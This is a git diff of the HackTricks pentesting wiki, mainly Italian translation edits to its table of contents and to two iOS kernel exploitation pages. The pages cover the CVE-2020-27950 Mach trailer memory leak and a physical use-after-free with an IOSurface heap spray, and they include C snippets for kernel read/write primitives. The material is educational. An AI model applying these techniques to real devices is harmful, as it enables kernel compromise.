diff --git a/src/SUMMARY.md b/src/SUMMARY.md index a0c0a0bb7..9200053c6 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -81,6 +81,7 @@ - [Basic Python](generic-methodologies-and-resources/python/basic-python.md) - [Threat Modeling](generic-methodologies-and-resources/threat-modeling.md) - [Blockchain & Crypto](blockchain/blockchain-and-crypto-currencies/README.md) + - [Defi/AMM Hook Precision](blockchain/blockchain-and-crypto-currencies/defi-amm-hook-precision.md) - [Lua Sandbox Escape](generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md) # 🧙‍♂️ Generic Hacking @@ -769,7 +770,7 @@ - [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md) - [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md) - [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md) -- [ROP & JOP](binary-exploitation/rop-return-oriented-programing/README.md) + - [ROP and JOP](binary-exploitation/rop-return-oriented-programing/README.md) - [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md) - [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md) - [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md) @@ -846,7 +847,6 @@ - [ios Heap Exploitation](binary-exploitation/ios-exploiting/ios-example-heap-exploit.md) - [ios Physical UAF - IOSurface](binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md) - # 🤖 AI - [AI Security](AI/README.md) - [Ai Assisted Fuzzing And Vulnerability Discovery](AI/AI-Assisted-Fuzzing-and-Vulnerability-Discovery.md) @@ -895,7 +895,6 @@ - [RC4 - Encrypt\&Decrypt](crypto-and-stego/rc4-encrypt-and-decrypt.md) - [Stego Tricks](crypto-and-stego/stego-tricks.md) - [Esoteric languages](crypto-and-stego/esoteric-languages.md) -- [Blockchain & Crypto Currencies](crypto-and-stego/blockchain-and-crypto-currencies.md) # ✍️ TODO diff --git a/src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md b/src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md index 406e73b3c..520cbfda3 100644 --- a/src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md +++ b/src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md @@ -3,13 +3,13 @@ {{#include ../../banners/hacktricks-training.md}} -## Il bug +## La vulnerabilità -Hai [una ottima spiegazione della vulnerabilità qui](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), ma in sintesi: +Esiste una [great explanation of the vuln here](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), ma in sintesi: -Ogni Mach message che il kernel riceve termina con un **"trailer"**: una struct a lunghezza variabile con metadata (seqno, sender token, audit token, context, access control data, labels...). Il kernel **reserva sempre il trailer più grande possibile** (MAX_TRAILER_SIZE) nel buffer del messaggio, ma **inizializza solo alcuni campi**, poi **decide quale dimensione del trailer restituire** in base alle **opzioni di receive controllate dall'utente**. +Every Mach message the kernel receives ends with a **"trailer"**: a variable-length struct with metadata (seqno, sender token, audit token, context, access control data, labels...). The kernel **always reserves the largest possible trailer** (MAX_TRAILER_SIZE) in the message buffer, but **only initializes some fields**, then later **decides which trailer size to return** based on **user-controlled receive options**. -Queste sono le struct del trailer rilevanti: +Queste sono le struct rilevanti del trailer: ```c typedef struct{ mach_msg_trailer_type_t msgh_trailer_type; @@ -31,7 +31,7 @@ msg_labels_t msgh_labels; typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t; #define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t)) ``` -Quindi, quando l'oggetto trailer viene generato, solo alcuni campi sono inizializzati, e la dimensione massima del trailer è sempre riservata: +Quindi, quando l'oggetto trailer viene generato, solo alcuni campi vengono inizializzati, e la dimensione massima del trailer è sempre riservata: ```c trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size); trailer->msgh_sender = current_thread()->task->sec_token; @@ -41,7 +41,7 @@ trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE; [...] trailer->msgh_labels.sender = 0; ``` -Quindi, per esempio, quando si prova a leggere un mach message usando `mach_msg()` la funzione `ipc_kmsg_add_trailer()` viene chiamata per appendere il trailer al messaggio. All'interno di questa funzione la dimensione del trailer viene calcolata e alcuni altri campi del trailer vengono impostati: +Ad esempio, quando si tenta di leggere un mach message usando `mach_msg()`, la funzione `ipc_kmsg_add_trailer()` viene chiamata per aggiungere il trailer al messaggio. All'interno di questa funzione la dimensione del trailer viene calcolata e alcuni altri campi del trailer vengono compilati: ```c if (!(option & MACH_RCV_TRAILER_MASK)) { [3] return trailer->msgh_trailer_size; @@ -51,7 +51,7 @@ trailer->msgh_seqno = seqno; trailer->msgh_context = context; trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread), option); ``` -Il parametro `option` è controllato dall'utente, quindi **è necessario fornire un valore che superi il controllo `if`.** +Il parametro `option` è controllato dall'utente, quindi **è necessario passare un valore che soddisfi il controllo `if`.** Per superare questo controllo dobbiamo inviare un `option` valido e supportato: ```c @@ -67,9 +67,9 @@ Per superare questo controllo dobbiamo inviare un `option` valido e supportato: #define MACH_RCV_TRAILER_ELEMENTS(x) (((x) & 0xf) << 24) #define MACH_RCV_TRAILER_MASK ((0xf << 24)) ``` -Ma, perché il `MACH_RCV_TRAILER_MASK` sta solo controllando i bit, possiamo passare qualsiasi valore tra `0` e `8` per non entrare nell'istruzione `if`. +Ma, poiché `MACH_RCV_TRAILER_MASK` verifica soltanto i bit, possiamo passare qualsiasi valore compreso tra `0` e `8` per non entrare nell'istruzione `if`. -Poi, proseguendo con il codice puoi trovare: +Poi, continuando con il codice si trova: ```c if (GET_RCV_ELEMENTS(option) >= MACH_RCV_TRAILER_AV) { trailer->msgh_ad = 0; @@ -92,19 +92,19 @@ ipc_kmsg_munge_trailer(trailer, real_trailer_out, thread_is_64bit_addr(thread)); return trailer->msgh_trailer_size; ``` -Come puoi vedere, se il `option` è maggiore o uguale a `MACH_RCV_TRAILER_AV` (7), il campo **`msgh_ad`** viene inizializzato a `0`. +Dove si può vedere che se `option` è maggiore o uguale a `MACH_RCV_TRAILER_AV` (7), il campo **`msgh_ad`** viene inizializzato a `0`. -Se ci fai caso, **`msgh_ad`** era ancora l'unico campo del trailer che non era stato inizializzato prima e che poteva contenere un leak proveniente da memoria precedentemente utilizzata. +Come avrai notato, **`msgh_ad`** era ancora l'unico campo del trailer che non era stato inizializzato prima e che quindi potrebbe contenere un leak da memoria usata in precedenza. -Quindi, il modo per evitare di inizializzarlo è passare un valore di `option` pari a `5` o `6`, in modo da superare il primo controllo `if` e non entrare nell'`if` che inizializza `msgh_ad`, perché i valori `5` e `6` non hanno alcun tipo di trailer associato. +Quindi, il modo per evitare di inizializzarlo è passare un valore `option` pari a `5` o `6`, in modo da superare il primo controllo `if` e non entrare nell'`if` che inizializza `msgh_ad`, perché i valori `5` e `6` non hanno alcun tipo di trailer associato. ### Basic PoC -Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), you have a PoC to just leak some random data. +All'interno della [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), trovi una PoC per effettuare un leak di alcuni dati casuali. ### Leak Kernel Address PoC -Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), you have a PoC to leak a kernel address. For this, a message full of `mach_msg_port_descriptor_t` structs is sent in the message cause the field `name` of this structure in userland contains an unsigned int but in kernel the `name` field is a struct `ipc_port` pointer in kernel. Thefore, sending tens of these structs in the message in kernel will mean to **add several kernel addresses inside the message** so one of them can be leaked. +All'interno della [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), trovi una PoC per leakare un indirizzo kernel. A tal fine, viene inviato un messaggio pieno di struct `mach_msg_port_descriptor_t` perché il campo `name` di questa struttura in userland contiene un unsigned int, mentre in kernel il campo `name` è un puntatore a struct `ipc_port`. Pertanto, inviare decine di queste struct nel messaggio farà sì di **aggiungere diversi indirizzi kernel all'interno del messaggio**, in modo che uno di essi possa essere leaked. Sono stati aggiunti commenti per una migliore comprensione: ```c diff --git a/src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md b/src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md index fb2f7df32..bd4c388a9 100644 --- a/src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md +++ b/src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md @@ -3,109 +3,108 @@ {{#include ../../banners/hacktricks-training.md}} -## Mitigazioni degli exploit iOS - -- **Code Signing** in iOS funziona richiedendo che ogni porzione di codice eseguibile (app, librerie, estensioni, ecc.) sia firmata crittograficamente con un certificato rilasciato da Apple. Quando il codice viene caricato, iOS verifica la firma digitale rispetto alla root di fiducia di Apple. Se la firma è invalida, assente o modificata, il sistema operativo rifiuta l'esecuzione. Questo impedisce agli attaccanti di iniettare codice malevolo in app legittime o di eseguire binari non firmati, bloccando efficacemente molte catene di exploit che si basano sull'esecuzione di codice arbitrario o manomesso. -- **CoreTrust** è il sottosistema iOS responsabile dell'applicazione della code signing a runtime. Verifica direttamente le firme usando il certificato root di Apple senza fare affidamento su store di fiducia memorizzati, il che significa che solo i binari firmati da Apple (o con entitlement validi) possono essere eseguiti. CoreTrust garantisce che anche se un attaccante manomette un'app dopo l'installazione, modifica librerie di sistema o tenta di caricare codice non firmato, il sistema bloccherà l'esecuzione a meno che il codice non sia ancora correttamente firmato. Questa applicazione rigorosa chiude molti vettori di post-exploitation che versioni più vecchie di iOS permettevano tramite controlli di firma più deboli o aggirabili. -- **Data Execution Prevention (DEP)** marca le regioni di memoria come non eseguibili a meno che non contengano esplicitamente codice. Questo impedisce agli attaccanti di iniettare shellcode in regioni di dati (come lo stack o l'heap) e di eseguirlo, costringendoli a ricorrere a tecniche più complesse come ROP (Return-Oriented Programming). -- **ASLR (Address Space Layout Randomization)** randomizza gli indirizzi di memoria di codice, librerie, stack e heap ad ogni esecuzione del sistema. Questo rende molto più difficile per gli attaccanti prevedere dove si trovino istruzioni o gadget utili, interrompendo molte catene di exploit che dipendono da layout di memoria fissi. -- **KASLR (Kernel ASLR)** applica lo stesso concetto di randomizzazione al kernel iOS. Mescolando l'indirizzo base del kernel ad ogni avvio, impedisce agli attaccanti di localizzare in modo affidabile funzioni o strutture del kernel, aumentando la difficoltà degli exploit a livello kernel che altrimenti otterrebbero il controllo completo del sistema. -- **Kernel Patch Protection (KPP)**, noto anche come **AMCC (Apple Mobile File Integrity)** in iOS, monitora continuamente le pagine di codice del kernel per assicurarsi che non siano state modificate. Se viene rilevata una manomissione—ad esempio un exploit che prova a patchare funzioni del kernel o inserire codice malevolo—il dispositivo paniccherà e si riavvierà immediatamente. Questa protezione rende molto più difficili gli exploit persistenti a livello kernel, poiché gli attaccanti non possono semplicemente fare hook o patch alle istruzioni del kernel senza innescare un crash del sistema. -- **Kernel Text Readonly Region (KTRR)** è una funzionalità hardware-based introdotta sui dispositivi iOS. Utilizza il memory controller della CPU per marcare la sezione di codice (text) del kernel come permanentemente read-only dopo il boot. Una volta bloccata, nemmeno il kernel stesso può modificare questa regione di memoria. Questo impedisce agli attaccanti—e persino al codice privilegiato—from di patchare le istruzioni del kernel a runtime, chiudendo una classe importante di exploit che si basavano sulla modifica diretta del codice kernel. -- **Pointer Authentication Codes (PAC)** usano firme crittografiche incorporate nei bit inutilizzati dei puntatori per verificarne l'integrità prima dell'uso. Quando un puntatore (ad esempio un return address o un function pointer) viene creato, la CPU lo firma con una chiave segreta; prima della dereferenziazione, la CPU controlla la firma. Se il puntatore è stato manomesso, il controllo fallisce e l'esecuzione si interrompe. Questo impedisce agli attaccanti di forgiare o riutilizzare puntatori corrotti in exploit di corruzione della memoria, rendendo tecniche come ROP o JOP molto più difficili da effettuare in modo affidabile. -- **Privilege Access never (PAN)** è una funzionalità hardware che impedisce al kernel (modalità privilegiata) di accedere direttamente alla memoria user-space a meno che non abiliti esplicitamente l'accesso. Questo blocca gli attaccanti che hanno ottenuto code execution nel kernel dal leggere o scrivere facilmente la memoria utente per scalare exploit o rubare dati sensibili. Facendo rispettare una separazione rigorosa, PAN riduce l'impatto degli exploit kernel e blocca molte tecniche comuni di escalation di privilegi. -- **Page Protection Layer (PPL)** è un meccanismo di sicurezza di iOS che protegge regioni critiche di memoria gestite dal kernel, specialmente quelle legate a code signing ed entitlements. Applica protezioni di scrittura rigorose usando la MMU (Memory Management Unit) e controlli aggiuntivi, assicurando che anche codice kernel privilegiato non possa modificare arbitrariamente pagine sensibili. Questo impedisce agli attaccanti che ottengono esecuzione a livello kernel di manomettere strutture critiche per la sicurezza, rendendo significativamente più difficili persistenza e bypass della code signing. +## iOS Exploit Mitigations +- **Code Signing** in iOS funziona richiedendo che ogni pezzo di codice eseguibile (app, librerie, extension, ecc.) sia firmato crittograficamente con un certificato rilasciato da Apple. Quando il codice viene caricato, iOS verifica la firma digitale rispetto alla root di fiducia di Apple. Se la firma è invalida, mancante o modificata, il SO rifiuta l'esecuzione. Questo impedisce agli attacker di iniettare codice malevolo in app legittime o eseguire binari non firmati, bloccando molte catene di exploit che si basano sull'esecuzione di codice arbitrario o manomesso. +- **CoreTrust** è il sottosistema iOS responsabile dell'applicazione della code signing a runtime. Verifica direttamente le firme usando il certificato root di Apple senza affidarsi a store di fiducia caching, il che significa che solo i binari firmati da Apple (o con entitlements validi) possono eseguire. CoreTrust assicura che anche se un attacker manomette un'app dopo l'installazione, modifica librerie di sistema o tenta di caricare codice non firmato, il sistema bloccherà l'esecuzione a meno che il codice non sia ancora correttamente firmato. Questa rigida applicazione chiude molte vie post-exploitation che versioni iOS più vecchie permettevano tramite controlli di firma più deboli o aggirabili. +- **Data Execution Prevention (DEP)** marca regioni di memoria come non eseguibili a meno che non contengano esplicitamente codice. Questo impedisce agli attacker di iniettare shellcode in regioni dati (come stack o heap) e farlo eseguire, costringendoli a tecniche più complesse come ROP (Return-Oriented Programming). +- **ASLR (Address Space Layout Randomization)** randomizza gli indirizzi di memoria di codice, librerie, stack e heap ad ogni esecuzione del sistema. Questo rende molto più difficile per un attacker prevedere dove si trovano istruzioni utili o gadget, rompendo molte catene di exploit che dipendono da layout di memoria fissi. +- **KASLR (Kernel ASLR)** applica lo stesso concetto di randomizzazione al kernel iOS. Spostando l'indirizzo base del kernel ad ogni boot, impedisce agli attacker di localizzare in modo affidabile funzioni o strutture del kernel, aumentando la difficoltà degli exploit a livello kernel che altrimenti otterrebbero il pieno controllo del sistema. +- **Kernel Patch Protection (KPP)** nota anche come **AMCC (Apple Mobile File Integrity)** in iOS, monitora continuamente le pagine di codice del kernel per assicurarsi che non siano state modificate. Se viene rilevata una manomissione — come un exploit che prova a patchare funzioni del kernel o inserire codice malevolo — il dispositivo panicca e si riavvia immediatamente. Questa protezione rende gli exploit persistenti del kernel molto più difficili, poiché gli attacker non possono semplicemente hookare o patchare istruzioni del kernel senza causare un crash del sistema. +- **Kernel Text Readonly Region (KTRR)** è una feature di sicurezza basata su hardware introdotta sui dispositivi iOS. Usa il memory controller della CPU per marcare la sezione di codice (text) del kernel come permanentemente read-only dopo il boot. Una volta bloccata, nemmeno il kernel stesso può modificare quella regione di memoria. Questo impedisce agli attacker — e anche al codice privilegiato — di patchare istruzioni del kernel a runtime, chiudendo una grande classe di exploit che si basavano sulla modifica diretta del codice kernel. +- **Pointer Authentication Codes (PAC)** utilizzano firme crittografiche incorporate nei bit inutilizzati dei puntatori per verificare la loro integrità prima dell'uso. Quando un puntatore (come un return address o function pointer) viene creato, la CPU lo firma con una chiave segreta; prima di dereferenziare, la CPU verifica la firma. Se il puntatore è stato manomesso, il controllo fallisce e l'esecuzione si interrompe. Questo impedisce agli attacker di forgiare o riusare puntatori corrotti in exploit di corruptione di memoria, rendendo tecniche come ROP o JOP molto più difficili da eseguire affidabilmente. +- **Privilege Access never (PAN)** è una feature hardware che impedisce al kernel (modalità privilegiata) di accedere direttamente alla memoria user-space a meno che non abiliti esplicitamente l'accesso. Questo blocca attacker che ottengono esecuzione di codice kernel dall'accedere facilmente alla memoria utente per escalare privilegi o rubare dati sensibili. Applicando una separazione rigorosa, PAN riduce l'impatto degli exploit kernel e blocca molte tecniche comuni di escalation di privilegi. +- **Page Protection Layer (PPL)** è un meccanismo di sicurezza iOS che protegge regioni critiche gestite dal kernel, specialmente quelle legate a code signing ed entitlements. Applica protezioni di scrittura rigorose usando la MMU (Memory Management Unit) e controlli aggiuntivi, assicurando che anche codice kernel privilegiato non possa modificare arbitrariamente pagine sensibili. Questo impedisce agli attacker che ottengono esecuzione a livello kernel di manomettere strutture critiche per la sicurezza, rendendo persistenza e bypass della code signing significativamente più difficili. ## Physical use-after-free -Questa è una sintesi del post su [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html); ulteriori informazioni sull'exploit che usa questa tecnica si trovano anche in [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd) +This is a summary from the post from [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) moreover further information about exploit using this technique can be found in [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd) -### Gestione della memoria in XNU +### Memory management in XNU -Lo spazio di indirizzi della **virtual memory address space** per i processi utente su iOS va da **0x0 a 0x8000000000**. Tuttavia, questi indirizzi non mappano direttamente alla memoria fisica. Invece, il **kernel** usa **page tables** per tradurre indirizzi virtuali in effettivi **physical addresses**. +The **virtual memory address space** for user processes on iOS spans from **0x0 to 0x8000000000**. However, these addresses don’t directly map to physical memory. Instead, the **kernel** uses **page tables** to translate virtual addresses into actual **physical addresses**. -#### Livelli delle Page Tables in iOS +#### Levels of Page Tables in iOS -Le page tables sono organizzate gerarchicamente in tre livelli: +Page tables are organized hierarchically in three levels: 1. **L1 Page Table (Level 1)**: -* Ogni entry qui rappresenta un ampio intervallo di virtual memory. -* Copre **0x1000000000 bytes** (o **256 GB**) di virtual memory. +* Each entry here represents a large range of virtual memory. +* It covers **0x1000000000 bytes** (or **256 GB**) of virtual memory. 2. **L2 Page Table (Level 2)**: -* Un'entry qui rappresenta una regione più piccola di virtual memory, specificamente **0x2000000 bytes** (32 MB). -* Un'entry L1 può puntare a una L2 table se non riesce a mappare l'intera regione da sola. +* An entry here represents a smaller region of virtual memory, specifically **0x2000000 bytes** (32 MB). +* An L1 entry may point to an L2 table if it can't map the entire region itself. 3. **L3 Page Table (Level 3)**: -* Questo è il livello più fine, dove ogni entry mappa una singola pagina di **4 KB**. -* Un'entry L2 può puntare a una L3 table se è necessario un controllo più granulare. +* This is the finest level, where each entry maps a single **4 KB** memory page. +* An L2 entry may point to an L3 table if more granular control is needed. -#### Mappare la Virtual alla Physical Memory +#### Mapping Virtual to Physical Memory * **Direct Mapping (Block Mapping)**: -* Alcune entry in una page table mappano direttamente un intervallo di indirizzi virtuali a un intervallo contiguo di indirizzi fisici (come una scorciatoia). +* Some entries in a page table directly **map a range of virtual addresses** to a contiguous range of physical addresses (like a shortcut). * **Pointer to Child Page Table**: -* Se è necessario un controllo più fine, un'entry in un livello (es. L1) può puntare a una **child page table** al livello successivo (es. L2). +* If finer control is needed, an entry in one level (e.g., L1) can point to a **child page table** at the next level (e.g., L2). -#### Esempio: Mappare un Virtual Address +#### Example: Mapping a Virtual Address -Supponiamo di provare ad accedere all'indirizzo virtuale **0x1000000000**: +Let’s say you try to access the virtual address **0x1000000000**: 1. **L1 Table**: -* Il kernel controlla l'entry della L1 page table corrispondente a questo virtual address. Se ha un **pointer to an L2 page table**, passa alla L2. +* The kernel checks the L1 page table entry corresponding to this virtual address. If it has a **pointer to an L2 page table**, it goes to that L2 table. 2. **L2 Table**: -* Il kernel controlla la L2 page table per una mappatura più dettagliata. Se questa entry punta a una **L3 page table**, procede lì. +* The kernel checks the L2 page table for a more detailed mapping. If this entry points to an **L3 page table**, it proceeds there. 3. **L3 Table**: -* Il kernel cerca l'entry finale L3, che punta al **physical address** della pagina di memoria reale. +* The kernel looks up the final L3 entry, which points to the **physical address** of the actual memory page. -#### Esempio di mappatura di indirizzi +#### Example of Address Mapping -Se scrivi il physical address **0x800004000** nel primo indice della L2 table, allora: +If you write the physical address **0x800004000** into the first index of the L2 table, then: -* Gli indirizzi virtuali da **0x1000000000** a **0x1002000000** mappano agli indirizzi fisici da **0x800004000** a **0x802004000**. -* Questa è una **block mapping** a livello L2. +* Virtual addresses from **0x1000000000** to **0x1002000000** map to physical addresses from **0x800004000** to **0x802004000**. +* This is a **block mapping** at the L2 level. -In alternativa, se l'entry L2 punta a una L3 table: +Alternatively, if the L2 entry points to an L3 table: -* Ogni pagina da 4 KB nell'intervallo virtuale **0x1000000000 -> 0x1002000000** sarebbe mappata da entry individuali nella L3 table. +* Each 4 KB page in the virtual address range **0x1000000000 -> 0x1002000000** would be mapped by individual entries in the L3 table. ### Physical use-after-free -Un **physical use-after-free** (UAF) si verifica quando: +A **physical use-after-free** (UAF) occurs when: -1. Un processo **alloca** della memoria come **readable e writable**. -2. Le **page tables** vengono aggiornate per mappare questa memoria a un specifico physical address che il processo può accedere. -3. Il processo **dealloca** (free) la memoria. -4. Tuttavia, a causa di un **bug**, il kernel **dimentica di rimuovere la mapping** dalle page tables, anche se marca la corrispondente memoria fisica come libera. -5. Il kernel può quindi **riallocare questa memoria fisica "freed"** per altri scopi, come dati del kernel. -6. Poiché la mapping non è stata rimossa, il processo può ancora **leggere e scrivere** su quella memoria fisica. +1. A process **allocates** some memory as **readable and writable**. +2. The **page tables** are updated to map this memory to a specific physical address that the process can access. +3. The process **deallocates** (frees) the memory. +4. However, due to a **bug**, the kernel **forgets to remove the mapping** from the page tables, even though it marks the corresponding physical memory as free. +5. The kernel can then **reallocate this "freed" physical memory** for other purposes, like **kernel data**. +6. Since the mapping wasn’t removed, the process can still **read and write** to this physical memory. -Questo significa che il processo può accedere a **pagine di memoria kernel**, che potrebbero contenere dati o strutture sensibili, potenzialmente permettendo a un attaccante di **manipolare la memoria del kernel**. +This means the process can access **pages of kernel memory**, which could contain sensitive data or structures, potentially allowing an attacker to **manipulate kernel memory**. ### IOSurface Heap Spray -Poiché l'attaccante non può controllare quali specifiche pagine kernel verranno allocate alla memoria liberata, usa una tecnica chiamata **heap spray**: +Since the attacker can’t control which specific kernel pages will be allocated to freed memory, they use a technique called **heap spray**: -1. L'attaccante **crea un grande numero di oggetti IOSurface** nella memoria kernel. -2. Ogni oggetto IOSurface contiene un **valore magico** in uno dei suoi campi, rendendolo facile da identificare. -3. Scansionano le pagine liberate per vedere se uno di questi oggetti IOSurface è stato collocato su una pagina liberata. -4. Quando trovano un oggetto IOSurface su una pagina liberata, possono usarlo per **leggere e scrivere la memoria kernel**. +1. The attacker **creates a large number of IOSurface objects** in kernel memory. +2. Each IOSurface object contains a **magic value** in one of its fields, making it easy to identify. +3. They **scan the freed pages** to see if any of these IOSurface objects landed on a freed page. +4. When they find an IOSurface object on a freed page, they can use it to **read and write kernel memory**. -Maggiori informazioni su questo si trovano in [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups) +More info about this in [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups) > [!TIP] -> Tieni presente che i dispositivi iOS 16+ (A12+) introducono mitigazioni hardware (come PPL o SPTM) che rendono le tecniche di physical UAF molto meno praticabili. -> PPL applica protezioni MMU rigorose sulle pagine relative a code signing, entitlements e dati sensibili del kernel, quindi anche se una pagina viene riutilizzata, le scritture da userland o da codice kernel compromesso verso pagine protette da PPL sono bloccate. -> Secure Page Table Monitor (SPTM) estende PPL irrobustendo gli stessi aggiornamenti delle page table. Assicura che anche il codice kernel privilegiato non possa rimappare silenziosamente pagine liberate o manomettere le mapping senza passare per controlli sicuri. -> KTRR (Kernel Text Read-Only Region) blocca la sezione di codice del kernel come read-only dopo il boot. Questo impedisce qualsiasi modifica a runtime al codice del kernel, chiudendo un importante vettore di attacco su cui spesso fanno affidamento gli exploit physical UAF. -> Inoltre, le allocazioni di `IOSurface` sono meno prevedibili e più difficili da mappare in regioni accessibili dall'utente, il che rende il trucco della scansione del "valore magico" molto meno affidabile. E `IOSurface` è ora protetto da entitlements e restrizioni di sandbox. +> Be aware that iOS 16+ (A12+) devices bring hardware mitigations (like PPL or SPTM) that make physical UAF techniques far less viable. +> PPL enforces strict MMU protections on pages related to code signing, entitlements, and sensitive kernel data, so, even if a page gets reused, writes from userland or compromised kernel code to PPL-protected pages are blocked. +> Secure Page Table Monitor (SPTM) extends PPL by hardening page table updates themselves. It ensures that even privileged kernel code cannot silently remap freed pages or tamper with mappings without going through secure checks. +> KTRR (Kernel Text Read-Only Region), which locks down the kernel’s code section as read-only after boot. This prevents any runtime modifications to kernel code, closing off a major attack vector that physical UAF exploits often rely on. +> Moreover, `IOSurface` allocations are less predictable and harder to map into user-accessible regions, which makes the “magic value scanning” trick much less reliable. And `IOSurface` is now guarded by entitlements and sandbox restrictions. -### Processo passo-passo di Heap Spray +### Step-by-Step Heap Spray Process -1. **Spray IOSurface Objects**: l'attaccante crea molti oggetti IOSurface con un identificatore speciale ("magic value"). -2. **Scan Freed Pages**: verifica se uno di questi oggetti è stato allocato su una pagina liberata. -3. **Read/Write Kernel Memory**: manipolando i campi dell'oggetto IOSurface, ottiene la capacità di eseguire **letture e scritture arbitrarie** nella memoria kernel. Questo permette di: -* Usare un campo per **leggere qualsiasi valore a 32-bit** nella memoria kernel. -* Usare un altro campo per **scrivere valori a 64-bit**, ottenendo un primitivo stabile di **kernel read/write**. +1. **Spray IOSurface Objects**: The attacker creates many IOSurface objects with a special identifier ("magic value"). +2. **Scan Freed Pages**: They check if any of the objects have been allocated on a freed page. +3. **Read/Write Kernel Memory**: By manipulating fields in the IOSurface object, they gain the ability to perform **arbitrary reads and writes** in kernel memory. This lets them: +* Use one field to **read any 32-bit value** in kernel memory. +* Use another field to **write 64-bit values**, achieving a stable **kernel read/write primitive**. Generate IOSurface objects with the magic value IOSURFACE\_MAGIC to later search for: ```c @@ -162,24 +161,24 @@ free(surfaceIDs); return 0; } ``` -### Ottenere lettura/scrittura nel kernel con IOSurface +### Ottenere lettura/scrittura del kernel con IOSurface -Dopo aver ottenuto il controllo di un oggetto IOSurface nella memoria kernel (mappato su una pagina fisica liberata accessibile da userspace), possiamo usarlo per **operazioni arbitrarie di lettura e scrittura nel kernel**. +Dopo aver ottenuto il controllo di un oggetto IOSurface nella memoria del kernel (mappato su una pagina fisica liberata accessibile da userspace), possiamo usarlo per **operazioni arbitrarie di lettura e scrittura nel kernel**. **Key Fields in IOSurface** L'oggetto IOSurface ha due campi cruciali: -1. **Use Count Pointer**: Permette una **lettura a 32-bit**. -2. **Indexed Timestamp Pointer**: Permette una **scrittura a 64-bit**. +1. **Use Count Pointer**: Consente una **lettura a 32-bit**. +2. **Indexed Timestamp Pointer**: Consente una **scrittura a 64-bit**. -Sovrascrivendo questi puntatori, li reindirizziamo a indirizzi arbitrari nella memoria kernel, abilitando capacità di lettura/scrittura. +Sovrascrivendo questi puntatori, li reindirizziamo verso indirizzi arbitrari nella memoria del kernel, abilitando capacità di lettura/scrittura. -#### Lettura a 32-bit nel kernel +#### Lettura a 32-bit del kernel -Per effettuare una lettura: +Per eseguire una lettura: -1. Sovrascrivi il **use count pointer** per puntare all'indirizzo target meno un offset di 0x14 byte. +1. Sovrascrivi il **use count pointer** in modo che punti all'indirizzo target meno un offset di 0x14 byte. 2. Usa il metodo `get_use_count` per leggere il valore a quell'indirizzo. ```c uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) { @@ -198,11 +197,11 @@ iosurface_set_use_count_pointer(info.object, orig); return value; } ``` -#### Scrittura Kernel a 64 bit +#### 64-Bit Kernel Write Per eseguire una scrittura: -1. Sovrascrivi il **indexed timestamp pointer** con l'indirizzo di destinazione. +1. Sovrascrivi il **puntatore del timestamp indicizzato** con l'indirizzo di destinazione. 2. Usa il metodo `set_indexed_timestamp` per scrivere un valore a 64 bit. ```c void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) { @@ -219,11 +218,11 @@ iosurface_set_indexed_timestamp_pointer(info.object, orig); ``` #### Riepilogo del flusso dell'exploit -1. **Trigger Physical Use-After-Free**: Le pagine liberate sono disponibili per il riutilizzo. -2. **Spray IOSurface Objects**: Allocare molti oggetti IOSurface con un unico "magic value" nella memoria kernel. -3. **Identify Accessible IOSurface**: Individuare un IOSurface su una pagina liberata che controlli. -4. **Abuse Use-After-Free**: Modificare i puntatori nell'oggetto IOSurface per consentire **kernel read/write** arbitrari tramite i metodi IOSurface. +1. **Scatenare un Use-After-Free fisico**: Le pagine liberate sono disponibili per il riutilizzo. +2. **Spray di oggetti IOSurface**: Allocare molti oggetti IOSurface con un valore "magic" univoco nella memoria del kernel. +3. **Identificare un IOSurface accessibile**: Localizza un IOSurface su una pagina liberata che controlli. +4. **Abusare di Use-After-Free**: Modifica i puntatori nell'oggetto IOSurface per abilitare **kernel read/write** arbitraria tramite i metodi 